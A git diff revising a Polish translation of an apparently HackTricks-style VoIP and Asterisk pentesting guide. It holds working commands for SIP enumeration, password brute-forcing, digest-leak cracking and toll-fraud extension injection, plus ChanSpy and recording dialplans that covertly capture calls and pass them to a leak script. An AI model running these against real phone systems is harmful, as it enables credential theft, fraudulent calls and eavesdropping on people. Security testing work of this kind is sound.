@ -217,20 +219,20 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### Dodatkowe wyliczanie sieci
|
||||
#### Dodatkowe wyliczenie sieciowe
|
||||
|
||||
Centrala telefoniczna może również ujawniać inne usługi sieciowe, takie jak:
|
||||
|
||||
- **69/UDP (TFTP)**: Aktualizacje oprogramowania
|
||||
- **80 (HTTP) / 443 (HTTPS)**: Zarządzanie urządzeniem za pomocą przeglądarki internetowej
|
||||
- **389 (LDAP)**: Alternatywa przechowywania informacji o użytkownikach
|
||||
- **80 (HTTP) / 443 (HTTPS)**: Zarządzanie urządzeniem z poziomu przeglądarki internetowej
|
||||
- **389 (LDAP)**: Alternatywne przechowywanie informacji o użytkownikach
|
||||
- **3306 (MySQL)**: Baza danych MySQL
|
||||
- **5038 (Manager)**: Umożliwia korzystanie z Asterisk z innych platform
|
||||
- **5222 (XMPP)**: Wiadomości za pomocą Jabbera
|
||||
- **5432 (PostgreSQL)**: Baza danych PostgreSQL
|
||||
- I inne...
|
||||
|
||||
### Wyliczanie metod
|
||||
### Wyliczenie metod
|
||||
|
||||
Możliwe jest znalezienie **dostępnych metod** do użycia w centrali telefonicznej za pomocą `SIPPTS enumerate` z [**sippts**](https://github.com/Pepelux/sippts)
|
||||
```bash
|
||||
|
@ -238,11 +240,11 @@ sippts enumerate -i 10.10.0.10
|
|||
```
|
||||
### Analiza odpowiedzi serwera
|
||||
|
||||
Bardzo ważne jest analizowanie nagłówków, które serwer wysyła do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Dzięki `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
|
||||
Bardzo ważne jest analizowanie nagłówków, które serwer wysyła do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Dzięki `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, oraz analizować odpowiedź.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
To również jest możliwe w przypadku serwera korzystającego z websockets. Za pomocą `SIPPTS wssend` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości WS.
|
||||
To również możliwe jest uzyskanie danych, jeśli serwer używa websockets. Za pomocą `SIPPTS wssend` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości WS.
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
|
@ -250,7 +252,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|||
|
||||
Rozszerzenia w systemie PBX (Private Branch Exchange) odnoszą się do **unikalnych wewnętrznych identyfikatorów przypisanych do poszczególnych** linii telefonicznych, urządzeń lub użytkowników w ramach organizacji lub firmy. Rozszerzenia umożliwiają **efektywne przekierowywanie połączeń wewnątrz organizacji**, bez konieczności posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia.
|
||||
|
||||
* **`svwar`** z SIPVicious (`sudo apt install sipvicious`): `svwar` to bezpłatne narzędzie do skanowania linii rozszerzeń w systemie SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, **próbując odgadnąć zakres rozszerzeń lub podaną listę rozszerzeń**.
|
||||
* **`svwar`** z SIPVicious (`sudo apt install sipvicious`): `svwar` to bezpłatne narzędzie do skanowania linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów poprzez **zgadywanie zakresu rozszerzeń lub podanej listy rozszerzeń**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
|
@ -258,12 +260,12 @@ svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
|||
```bash
|
||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||
```
|
||||
* **metasploit**: Możesz również wyliczać rozszerzenia/nazwy użytkowników za pomocą metasploita:
|
||||
* **metasploit**: Możesz również wyliczyć rozszerzenia/nazwy użytkowników za pomocą metasploita:
|
||||
```
|
||||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** to narzędzie do **przemuszania nazw użytkowników** protokołu Inter Asterisk Exchange. enumIAX może działać w dwóch różnych trybach; Sekwencyjne Próby Odgadnięcia Nazwy Użytkownika lub Atak Słownikowy.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** to narzędzie służące do **przemuszania nazw użytkowników** w protokole Inter Asterisk Exchange. enumIAX może działać w dwóch różnych trybach; Sekwencyjnego Odgadywania Nazw Użytkowników lub Ataku Słownikowego.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -272,15 +274,15 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### Bruteforce hasła - online
|
||||
|
||||
Odkrywszy **PBX** oraz niektóre **rozszerzenia/nazwy użytkowników**, Czerwony Zespół może spróbować **uwierzytelnienia za pomocą metody `REGISTER`** do rozszerzenia, używając słownika powszechnych haseł do brutalnego łamania uwierzytelnienia.
|
||||
Odkrywszy **PBX** oraz kilka **rozszerzeń/nazw użytkowników**, Czerwony Zespół może spróbować **uwierzytelnienia za pomocą metody `REGISTER`** do rozszerzenia, używając słownika popularnych haseł do brutalnego łamania uwierzytelnienia.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że **nazwa użytkownika** może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...
|
||||
|
||||
Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał **odgadnąć nazwę użytkownika, aby ją brutalnie złamać**.
|
||||
Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał **ustalić nazwę użytkownika, aby przeprowadzić brutalne łamanie**.
|
||||
{% endhint %}
|
||||
|
||||
* **`svcrack`** z SIPVicious (`sudo apt install sipvicious`): SVCrack pozwala na złamanie hasła dla określonej nazwy użytkownika/rozszerzenia na PBX.
|
||||
* **`svcrack`** z SIPVicious (`sudo apt install sipvicious`): SVCrack pozwala na złamanie hasła dla określonej nazwy użytkownika/rozszerzenia w PBX.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
|
@ -291,31 +293,31 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
```
|
||||
* **Metasploit**:
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
|
||||
|
||||
### Podsłuchiwanie VoIP
|
||||
|
||||
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić całą informację**. Ponadto, jeśli jesteś w bardziej zamkniętej sieci (podłączony za pomocą Ethernetu lub chronionej sieci Wifi), możesz przeprowadzić ataki **MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) między **PBX a bramą** w celu podsłuchania informacji.
|
||||
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić całą informację**. Ponadto, jeśli jesteś w bardziej zamkniętej sieci (podłączony za pomocą Ethernetu lub chronionej sieci Wifi), możesz przeprowadzić ataki **MitM takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) między **PBX a bramą** w celu podsłuchania informacji.
|
||||
|
||||
Wśród informacji sieciowych możesz znaleźć **dane uwierzytelniające do zarządzania sprzętem**, **rozszerzenia użytkownika**, **nazwę użytkownika**, **adresy IP**, nawet **zaszyfrowane hasła** i **pakiety RTP**, które można odtworzyć, aby **słuchać rozmowy**, i wiele więcej.
|
||||
Wśród informacji sieciowych możesz znaleźć **dane uwierzytelniające do zarządzania sprzętem**, **rozszerzenia użytkownika**, **nazwę użytkownika**, **adresy IP**, nawet **zaszyfrowane hasła** i **pakiety RTP**, które można odtworzyć, aby **usłyszeć rozmowę**, i wiele więcej.
|
||||
|
||||
Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale **specjalnie stworzone narzędzie do podsłuchiwania rozmów VoIP to** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że jeśli **TLS jest używane w komunikacji SIP**, nie będziesz w stanie zobaczyć komunikacji SIP w czytelnej formie.\
|
||||
To samo będzie miało miejsce, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie będą w formie tekstu jawnego**.
|
||||
Zauważ, że jeśli **TLS jest używane w komunikacji SIP**, nie będziesz w stanie zobaczyć komunikacji SIP w czytelnej postaci.\
|
||||
To samo będzie miało miejsce, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie będą w czytelnym tekście**.
|
||||
{% endhint %}
|
||||
|
||||
#### Dane uwierzytelniające SIP (Atak Brute-Force na hasło - offline)
|
||||
#### Dane uwierzytelniające SIP (Atak siłowy na hasło - offline)
|
||||
|
||||
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) i dowiedz się, jak są przesyłane **dane uwierzytelniające**.
|
||||
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) i dowiedz się, jak są **wysyłane dane uwierzytelniające**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wydobyć** z **pcap** **uwierzytelnienia z sumą kontrolną** w ramach protokołu SIP i **przeprowadzić atak bruteforce** na nie.
|
||||
* **`sipdump`** & **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wydobyć** z **pcap** uwierzytelnienia **digest** w ramach protokołu SIP i **przeprowadzić atak siłowy** na nie.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
```
|
||||
* **`SIPPTS dump`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wydobyć uwierzytelnienia digest z pliku pcap.
|
||||
* **`SIPPTS dump`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyciągnąć uwierzytelnienia digest z pliku pcap.
|
||||
```bash
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
|
@ -330,7 +332,7 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
#### Kody DTMF
|
||||
|
||||
**Nie tylko dane uwierzytelniające SIP** mogą być znalezione w ruchu sieciowym, możliwe jest także znalezienie kodów DTMF, które są używane na przykład do dostępu do **poczty głosowej**.\
|
||||
Możliwe jest wysłanie tych kodów w wiadomościach **INFO SIP**, w formie **audio** lub wewnątrz pakietów **RTP**. Jeśli kody znajdują się w pakietach RTP, można odciąć tę część rozmowy i skorzystać z narzędzia multimo do ich wyodrębnienia:
|
||||
Możliwe jest wysłanie tych kodów w wiadomościach **INFO SIP**, w **formie audio** lub wewnątrz pakietów **RTP**. Jeśli kody znajdują się w pakietach RTP, można odciąć tę część rozmowy i skorzystać z narzędzia multimo do ich wydobycia:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
|
@ -343,10 +345,10 @@ host=dynamic
|
|||
```
|
||||
Jeśli zostanie określony adres IP, host **nie będzie musiał wysyłać żądań REJESTRACJI** co jakiś czas (w pakiecie REJESTRACJI jest wysyłany czas życia, zwykle 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał się REJESTROWAĆ co 30 minut). Jednakże konieczne będzie posiadanie otwartych portów umożliwiających połączenia z serwera VoIP w celu odbierania połączeń.
|
||||
|
||||
Aby zdefiniować użytkowników, mogą być określeni jako:
|
||||
Aby zdefiniować użytkowników, mogą być zdefiniowani jako:
|
||||
|
||||
* **`type=user`**: Użytkownik może jedynie odbierać połączenia jako użytkownik.
|
||||
* **`type=friend`**: Możliwe jest wykonanie połączeń jako peer i odbieranie ich jako użytkownik (używane z rozszerzeniami).
|
||||
* **`type=friend`**: Możliwe jest wykonywanie połączeń jako peer i odbieranie ich jako użytkownik (używane z rozszerzeniami).
|
||||
* **`type=peer`**: Możliwe jest wysyłanie i odbieranie połączeń jako peer (SIP-trunks).
|
||||
|
||||
Możliwe jest również ustanowienie zaufania za pomocą zmiennej insecure:
|
||||
|
@ -366,7 +368,7 @@ Na przykład, taka konfiguracja byłaby podatna na atak:\
|
|||
|
||||
### Darmowe Połączenia / Błędy Konfiguracji Kontekstów Asterisk
|
||||
|
||||
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracji, który **grupuje powiązane rozszerzenia, akcje i reguły**. Plan numeracji jest głównym komponentem systemu Asterisk, ponieważ definiuje **sposób obsługi i kierowania połączeniami przychodzącymi i wychodzącymi**. Konteksty są używane do organizacji planu numeracji, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
|
||||
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracji, który **grupuje powiązane rozszerzenia, akcje i reguły**. Plan numeracji jest głównym komponentem systemu Asterisk, ponieważ definiuje **sposób obsługi i kierowania połączeń przychodzących i wychodzących**. Konteksty są używane do organizacji planu numeracji, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
|
||||
|
||||
Każdy kontekst jest określony w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczone przez nawiasy kwadratowe, a nazwa kontekstu jest zamknięta w nich. Na przykład:
|
||||
```bash
|
||||
|
@ -400,9 +402,9 @@ Każdy będzie mógł użyć **serwera do dzwonienia pod dowolny numer** (a admi
|
|||
Co więcej, domyślnie plik **`sip.conf`** zawiera **`allowguest=true`**, więc **każdy** atakujący **bez uwierzytelnienia** będzie mógł dzwonić pod dowolny numer.
|
||||
{% endhint %}
|
||||
|
||||
* **`SIPPTS invite`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite sprawdza, czy **serwer PBX pozwala nam na wykonywanie połączeń bez uwierzytelnienia**. Jeśli serwer SIP ma niepoprawną konfigurację, pozwoli nam na dzwonienie pod zewnętrzne numery. Może również umożliwić przekierowanie połączenia na drugi zewnętrzny numer.
|
||||
* **`SIPPTS invite`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite sprawdza, czy **serwer PBX pozwala nam na wykonywanie połączeń bez uwierzytelnienia**. Jeśli serwer SIP ma niepoprawną konfigurację, pozwoli nam na wykonywanie połączeń do zewnętrznych numerów. Może również umożliwić przekierowanie połączenia na drugi zewnętrzny numer.
|
||||
|
||||
Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz akceptować żądania INVITE bez autoryzacji. W takim przypadku atakujący może dzwonić, nie znając żadnego użytkownika/hasła.
|
||||
Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz akceptować żądania INVITE bez autoryzacji. W tym przypadku atakujący może dzwonić, nie znając żadnego użytkownika/hasła.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -416,17 +418,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|||
|
||||
### Darmowe połączenia / Źle skonfigurowane IVRS
|
||||
|
||||
IVRS oznacza **Interaktywny System Rozpoznawania Głosu**, technologię telefoniczną, która umożliwia użytkownikom interakcję z zautomatyzowanym systemem za pomocą głosu lub klawiszy DTMF. IVRS służy do budowania systemów **automatyzacji obsługi połączeń**, które oferują szereg funkcji, takich jak udostępnianie informacji, kierowanie połączeń i przechwytywanie danych od użytkowników.
|
||||
IVRS oznacza **Interaktywny System Rozpoznawania Głosu**, technologię telefoniczną, która umożliwia użytkownikom interakcję z zautomatyzowanym systemem za pomocą głosu lub klawiszy telefonicznych. IVRS służy do budowania systemów **automatyzacji obsługi połączeń**, które oferują szereg funkcji, takich jak udostępnianie informacji, kierowanie połączeń i przechwytywanie danych wprowadzanych przez użytkownika.
|
||||
|
||||
IVRS w systemach VoIP zazwyczaj składa się z:
|
||||
|
||||
1. **Komunikatów głosowych**: Wstępnie nagrane komunikaty audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje.
|
||||
2. **Sygnalizacji DTMF** (Dual-Tone Multi-Frequency): Sygnały generowane przez naciśnięcie klawiszy na telefonie, które służą do nawigacji po menu IVR i wprowadzania danych.
|
||||
2. **Sygnalizacji DTMF** (Dual-Tone Multi-Frequency): Dane wejściowe generowane poprzez naciśnięcie klawiszy na telefonie, które służą do nawigacji przez menu IVR i wprowadzania danych.
|
||||
3. **Kierowania połączeń**: Kierowanie połączeń do odpowiedniego celu, takich jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych wprowadzonych przez użytkownika.
|
||||
4. **Przechwytywania danych od użytkownika**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory przypadków lub inne istotne dane.
|
||||
4. **Przechwytywania danych wprowadzanych przez użytkownika**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
|
||||
5. **Integracji z systemami zewnętrznymi**: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskiwania lub aktualizowania informacji, wykonywania działań lub wyzwalania zdarzeń.
|
||||
|
||||
W systemie VoIP Asterisk można utworzyć IVR za pomocą planu numeracji (**plik **`extensions.conf`**) i różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()` i inne. Te aplikacje pomagają odtwarzać komunikaty głosowe, przechwytywać dane od użytkowników i kontrolować przepływ połączenia.
|
||||
W systemie VoIP Asterisk można utworzyć IVR za pomocą planu numeracji (**plik **`extensions.conf`**) i różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()` i inne. Te aplikacje pomagają odtwarzać komunikaty głosowe, przechwytywać dane wprowadzane przez użytkownika i kontrolować przepływ połączenia.
|
||||
|
||||
#### Przykład podatnej konfiguracji
|
||||
```scss
|
||||
|
@ -436,29 +438,28 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
Poprzednie jest przykładem, w którym użytkownik jest proszony o **naciśnięcie 1, aby zadzwonić** do działu, **2, aby zadzwonić** gdzie indziej, lub **pełny numer wewnętrzny**, jeśli go zna.
|
||||
Poprzednie jest przykładem, w którym użytkownik jest proszony o **naciśnięcie 1, aby zadzwonić** do działu, **2, aby zadzwonić** gdzie indziej, lub **pełny numer wewnętrzny**, jeśli go zna.\
|
||||
Podatność polega na tym, że **długość wskazanego numeru wewnętrznego nie jest sprawdzana, więc użytkownik może wprowadzić pełny numer w trakcie 5-sekundowego limitu czasu oczekiwania i zostanie on wybrany.**
|
||||
|
||||
Podatność polega na tym, że wskazana **długość numeru wewnętrznego nie jest sprawdzana, więc użytkownik może wprowadzić pełny numer w czasie 5 sekund i zostanie on wybrany.**
|
||||
### Wstrzyknięcie numeru wewnętrznego
|
||||
|
||||
### Wstrzykiwanie numeru wewnętrznego
|
||||
|
||||
Korzystając z numeru wewnętrznego, na przykład:
|
||||
Korzystając z numeru wewnętrznego, taki jak:
|
||||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który zostanie wybrany, gdy zostanie wprowadzony **ext 101**, to co by się stało:
|
||||
Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który zostanie wybrany, gdy zostanie wprowadzone **ext 101**, to co by się stało:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
Jednak jeśli **`${EXTEN}`** pozwala na wprowadzanie **więcej niż liczb** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`** aby zadzwonić pod numer telefonu 123123123. I to byłby rezultat:
|
||||
Jednak jeśli **`${EXTEN}`** pozwala wprowadzać **więcej niż cyfry** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`** aby zadzwonić pod numer telefonu 123123123. I to byłby rezultat:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Dlatego też połączenie z rozszerzeniem **`101`** i **`123123123`** zostanie wysłane i tylko pierwsze połączenie zostanie nawiązane... ale jeśli atakujący użyje **rozszerzenia, które omija dopasowanie** wykonywane, ale nie istnieje, może **wstrzyknąć połączenie tylko do pożądanego numeru**.
|
||||
Dlatego też, połączenie do rozszerzenia **`101`** i **`123123123`** zostanie wysłane i tylko pierwsze połączenie zostanie nawiązane... ale jeśli atakujący użyje **rozszerzenia, które omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, może **wstrzyknąć połączenie tylko do pożądanego numeru**.
|
||||
|
||||
## Wrażliwość SIPDigestLeak
|
||||
## Luka w zabezpieczeniach SIPDigest
|
||||
|
||||
Wyciek SIP Digest to podatność, która dotyka dużą liczbę telefonów SIP, w tym zarówno sprzętowe i oprogramowanie telefoniczne IP, jak i adaptery telefoniczne (VoIP do analogowego). Podatność ta pozwala na **wyciek odpowiedzi uwierzytelniania Digest**, która jest obliczana na podstawie hasła. Następnie możliwy jest **atak offline na hasło** i odzyskanie większości haseł na podstawie odpowiedzi na wyzwanie.
|
||||
Luka w zabezpieczeniach SIP Digest to podatność, która dotyka dużą liczbę telefonów SIP, w tym zarówno sprzętowe i oprogramowanie telefonów IP, jak i adaptery telefoniczne (VoIP do analogowego). Podatność ta pozwala na **wyciek odpowiedzi uwierzytelniania Digest**, która jest obliczana na podstawie hasła. Następnie możliwy jest **atak offline na hasło** i odzyskanie większości haseł na podstawie odpowiedzi na wyzwanie.
|
||||
|
||||
**[Scenariusz podatności od tego miejsca**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
|
@ -466,11 +467,11 @@ Wyciek SIP Digest to podatność, która dotyka dużą liczbę telefonów SIP, w
|
|||
2. Atakujący wysyła INVITE do telefonu IP
|
||||
3. Telefon ofiary zaczyna dzwonić i ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odbiera telefonu po drugiej stronie)
|
||||
4. Gdy telefon jest odłożony, **telefon ofiary wysyła BYE do atakującego**
|
||||
5. **Atakujący wysyła odpowiedź 407**, która **prosi o uwierzytelnienie** i wysyła wyzwanie uwierzytelniania
|
||||
6. **Telefon ofiary udziela odpowiedzi na wyzwanie uwierzytelniania** w drugim BYE
|
||||
5. **Atakujący wysyła odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające
|
||||
6. **Telefon ofiary udziela odpowiedzi na wyzwanie uwierzytelniające** w drugim BYE
|
||||
7. **Atakujący może wtedy przeprowadzić atak brute-force** na odpowiedź na wyzwanie na swoim lokalnym komputerze (lub rozproszoną sieć itp.) i zgadnąć hasło
|
||||
|
||||
* **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje podatność wycieku SIP Digest, która dotyka dużą liczbę telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą narzędzia SIPPTS dcrack lub narzędzia SipCrack.
|
||||
* **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje lukę w zabezpieczeniach SIP Digest, która dotyka dużą liczbę telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą narzędzia SIPPTS dcrack lub narzędzia SipCrack.
|
||||
```bash
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
|
@ -493,7 +494,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call pozwala **użytkownikowi sieci web** (który na przykład może być zainteresowany produktem) **wprowadzić** swój **numer telefonu**, aby zostać zadzwonionym. Następnie zostanie wykonane połączenie komercyjne, a gdy **odejmie słuchawkę**, użytkownik zostanie **zadzwoniony i połączony z agentem**.
|
||||
Click2Call pozwala **użytkownikowi sieci web** (który na przykład może być zainteresowany produktem) **podanie** swojego **numeru telefonu** w celu otrzymania połączenia. Następnie zostanie wygenerowane połączenie, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
|
||||
|
||||
Powszechny profil Asterisk dla tego to:
|
||||
```scss
|
||||
|
@ -506,7 +507,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Poprzedni profil pozwala **KAŻDEMU adresowi IP na połączenie** (jeśli znane jest hasło).
|
||||
* Aby **zorganizować połączenie**, jak wcześniej określono, **nie jest konieczne posiadanie uprawnień do odczytu**, a jedynie **uprawnienia do inicjowania** w trybie **zapisu**.
|
||||
* Aby **zorganizować połączenie**, jak wcześniej określono, **nie jest wymagane** posiadanie uprawnień do odczytu, a jedynie uprawnienia **do inicjowania** w trybie **zapisu**.
|
||||
|
||||
Z tymi uprawnieniami każde IP znające hasło mogłoby się połączyć i wydobyć zbyt wiele informacji, takich jak:
|
||||
|
||||
|
@ -523,11 +524,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
W Asterisku możliwe jest użycie polecenia **`ChanSpy`** wskazującego **rozszerzenie(-a) do monitorowania** (lub wszystkie) w celu podsłuchiwania rozmów. To polecenie musi być przypisane do rozszerzenia.
|
||||
|
||||
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** oznacza, że jeśli **zadzwonisz** na **rozszerzenie 333**, będzie **monitorować** **`wszystkie`** rozszerzenia, **rozpocznie nasłuchiwanie** gdy zacznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy na nią wpływać. Możesz przejść z jednej rozmowy do drugiej, naciskając **`*`**, lub oznaczając numer rozszerzenia.
|
||||
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** oznacza, że jeśli **zadzwonisz** na **rozszerzenie 333**, będzie **monitorować** **`wszystkie`** rozszerzenia, **rozpocznie nasłuchiwanie** gdy zacznie się nowa rozmowa (**`b`**) w trybie cichej pracy (**`q`**), ponieważ nie chcemy na nią wpływać. Możesz przejść z jednej rozmowy do drugiej, naciskając **`*`**, lub oznaczając numer rozszerzenia.
|
||||
|
||||
Możliwe jest również użycie **`ExtenSpy`** do monitorowania tylko jednego rozszerzenia.
|
||||
|
||||
Zamiast słuchania rozmów, można je **nagrywać w plikach** przy użyciu rozszerzenia, na przykład:
|
||||
Zamiast słuchania rozmów, można je **nagrywać w plikach** za pomocą rozszerzenia, na przykład:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```scss
|
||||
[recorded-context]
|
||||
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
|
||||
|
@ -543,13 +546,13 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
```
|
||||
### Wrażliwość RTCPBleed
|
||||
|
||||
**RTCPBleed** to poważny problem związany z bezpieczeństwem dotykający serwerów VoIP opartych na Asterisku (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwycenie i przekierowanie ruchu RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez dowolną osobę w Internecie. Zjawisko to występuje, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
|
||||
**RTCPBleed** to poważny problem związany z bezpieczeństwem dotykający serwerów VoIP opartych na Asterisku (opublikowany w 2017 roku). Wulneralność pozwala na **przechwycenie i przekierowanie ruchu RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez dowolną osobę w Internecie. Zdarza się to, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
|
||||
|
||||
